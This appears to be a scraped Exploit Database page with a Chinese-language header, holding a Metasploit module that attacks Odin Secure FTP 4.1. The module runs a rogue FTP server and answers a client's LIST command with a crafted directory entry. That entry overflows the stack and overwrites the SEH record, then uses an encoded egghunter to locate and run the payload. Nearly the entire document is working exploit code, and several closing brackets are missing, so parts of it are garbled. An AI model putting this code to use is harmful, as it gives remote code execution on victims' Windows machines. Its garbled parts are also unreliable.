Odin Secure FTP 4.1 – ‘LIST’ Remote Stack Buffer Overflow (Metasploit)

Exploit Database
132 阅读

作者： Metasploit

日期： 2010-11-14
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16716/

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# $Id: odin_list_reply.rb 11039 2010-11-14 19:03:24Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking

include Msf::Exploit::Remote::FtpServer

include Msf::Exploit::Remote::Egghunter

def initialize(info = {})

super(update_info(info,

'Name' => 'Odin Secure FTP 4.1 Stack Buffer Overflow (LIST)',

'Description'=> %q{

This module exploits a stack buffer overflow in Odin Secure FTP 4.1,

triggered when processing the response on a LIST command. During the overflow,

a structured exception handler record gets overwritten.

'Author' =>

[

'rick2600', #found the bug

'corelanc0d3r', #wrote the exploit

'License'=> MSF_LICENSE,

'Version'=> "$Revision: 11039 $",

'References' =>

[

[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',

'Payload'=>

{

'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",

'Platform' => 'win',

'Targets'=>

[

[ 'XP SP3 Universal', { 'Offset' => 264, 'Ret' => 0x10077622 } ],# ppr [appface.dll]

'Privileged' => false,

'DisclosureDate' => 'Oct 12 2010',

'DefaultTarget'=> 0))

end

def setup

super

end

def on_client_unknown_command(c,cmd,arg)

c.put("200 OK\r\n")

end

def on_client_command_list(c,arg)

conn = establish_data_connection(c)

if(not conn)

c.put("425 Can't build data connection\r\n")

return

end

print_status(" - Data connection set up")

code = 150

c.put("#{code} Here comes the directory listing.\r\n")

code = 226

c.put("#{code} Directory send ok.\r\n")

badchars = ""

eggoptions =

{

:checksum => true,

:eggtag => "W00T"

}

hunter,egg = generate_egghunter(payload.encoded,badchars,eggoptions)

badchars = "\x00\xff\x0d\x5c\x2f\x0a"

hunterenc = Msf::Util::EXE.encode_stub(framework, [ARCH_X86], hunter, ::Msf::Module::PlatformList.win32, badchars)

offset_to_nseh=target['Offset']

jmpback = "\xe9\x9c\xff\xff\xff"

nops = "A" * 30

filename = "A" * (offset_to_nseh-hunterenc.length-jmpback.length)

nseh = "\xeb\xf9\x42\x42"

seh = [target.ret].pack('V')

junk2 = "A" * 4000

buffer = filename + hunterenc + jmpback + nseh + seh + junk2 + egg

print_status(" - Sending directory list via data connection")

dirlist = "-rw-rw-r--1 1176 1176 1060 Aug 16 22:22 #{buffer}\r\n"

conn.put(dirlist)

conn.close

print_status(" - Payload sent, wait for hunter...")

return

end